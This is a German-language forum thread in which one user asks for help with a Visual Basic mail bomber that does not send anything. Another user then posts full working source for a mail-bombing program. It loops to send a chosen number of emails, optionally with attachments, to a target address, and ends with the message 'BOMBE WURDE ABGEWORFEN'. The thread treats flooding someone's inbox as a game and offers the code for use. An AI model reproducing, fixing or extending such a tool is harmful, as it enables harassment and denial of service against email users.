Mail Bomer VB 2008

[crasher766]

Hab mal eine Frage also wie geht das hier was ist an meinem Code falsch?
Ach ja wundert euch nciht über die wenigen Beiträge da ja ein MOD meine 80 Mühsamen Beiträge unbedingt löschen musste (damit wollte ich nimanden beleidigen oder angreifen ich rege mich nur darüber auf).
Naja egal das gehört nich hier her aber sag mir bitte was an meinem code falsch is.

Imports System.Net.Mail


Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim MyMailMessage As New MailMessage()
        Try
            MyMailMessage.From = New MailAddress(TextBox5.Text)
            MyMailMessage.To.Add(TextBox1.Text)
            MyMailMessage.Subject = TextBox4.Text
            MyMailMessage.Body = TextBox3.Text
            Dim SMPT As New SmtpClient(TextBox6.Text)
            SMPT.Port = TextBox7.Text
            SMPT.EnableSsl = True
            SMPT.Credentials = New System.Net.NetworkCredential(TextBox5.Text, TextBox2.Text)
            SMPT.Send(MyMailMessage)



        Catch ex As Exception

        End Try
    End Sub

Würde mich über eine Antwort sehr freuen

[Drakor]

1. Könntest du eine Fehlerbeschreibung posten ?
2. Verstehst du überhaupt, was der Code im einzelnen genau macht ?

Gruß
Drakor

[crasher766]

Also es geht halt garnichts dieser Bomber sendet überhaupt nichts!

[Drakor]

Wieder sehr informativ...

Hast du mal den Traffic den er verursacht analysiert ?
Hast du durchgedebuggt/ durchgesteppt?

Bitte sage ganz präzise, was du bereits gemacht hast. Und wenn es keinen Fehler im Quellcode beim ausführen gibt und du dir sicher bist, dass das so tun sollte(vom logischen her) , dann schlägt doch vermutlich die Kommunikation mit dem SMTP Server fehl, oder ?

Sendest du ihm Müll?
Ist das Programm überhaupt in der Lage mit dem Server sinnvoll zu kommunizieren? (wendet er das richtige Protokoll an ? ESMTP ? SMTP after POP ? usw.)

Gruß
Drakor

[Mirr0w]

poste mal die fehlermeldung vlll kann können wir dann ya weiter helfen ....

[Crypt]

shyzaki er wurde schon wieder gekickt

[Kaspersky]

Naja er wusste ja nicht mal für was das Try ist.
Sonst hätte er es mal in ' gemacht und sich beim debuggen die fehlermeldung angeschaut.

[br00_pwn]

@br00_pwn --- have fun :)

Public Class Form1
   

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ProgressBar1.Visible = False
    End Sub
  

    Public Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        ProgressBar1.Visible = True


        If TextBox1.TextLength = 0 Then
            MsgBox("Bitte geben sie eine gültige Mail Adresse an !!!")
        End If

        If TextBox2.TextLength = 0 Then
            MsgBox("Bitte geben Sie die Anzahl der zusendenden Mail an !!!")
        End If


        Dim FileName As String = TextBox4.Text
        Dim sMailAddy As String = TextBox5.Text
        Dim sPass As String = TextBox6.Text
        Dim sSmtp As String = TextBox7.Text
        Dim iPort As Integer = TextBox8.Text
        Dim anhang As String = TextBox4.Text
        Dim betreff As String = TextBox3.Text
        Dim anzahl As Integer = TextBox2.Text

        TextBox4.Text = FileName
        sMailAddy = TextBox5.Text
        sPass = TextBox6.Text
        sSmtp = TextBox7.Text
        iPort = TextBox8.Text


        Dim a As Integer
        For a = 1 To TextBox2.Text

            ProgressBar1.Maximum = anzahl
            ProgressBar1.Minimum = 1
            ProgressBar1.Step = 1
            ProgressBar1.Value = a

            If ProgressBar1.Value = TextBox2.Text Then
                ProgressBar1.Visible = False
            End If



            Dim Msg As New MailMessage
            Dim myCredentials As New System.Net.NetworkCredential
            myCredentials.UserName = sMailAddy


            myCredentials.Password = sPass

            Msg.IsBodyHtml = False

            Dim mySmtpsvr As New SmtpClient()
            mySmtpsvr.Host = sSmtp
            mySmtpsvr.Port = iPort


            mySmtpsvr.UseDefaultCredentials = False
            mySmtpsvr.Credentials = myCredentials


            Try
                Msg.From = New MailAddress(sMailAddy)
                Msg.To.Add(TextBox1.Text)

                If TextBox4.TextLength > 0 Then
                    Msg.Subject = betreff
                End If

                Msg.Body = RichTextBox1.Text
                If TextBox4.TextLength > 0 Then

                    Msg.Attachments.Add(New Attachment(FileName))
                End If

                mySmtpsvr.Send(Msg)




            Catch ex As Exception
                MsgBox(Err.Number & ex.Message & ex.StackTrace.ToString)



            End Try

            ProgressBar1.PerformStep()



        Next




        MsgBox("!!! BOMBE WURDE ABGEWORFEN !!!")



    End Sub

    
End Class

hier hast du mal nen code von mir, der geht sicher...
ist mit progressbar ect....ganz nett das teil....
hf

edit// wen`s intressiert, ist die source von http://free-hack.com/showthread.php?t=35703

[Crypt]

hrhr ich nehm das ma für den typ und verwahre es solange

[br00_pwn]

lol da isser schon "out"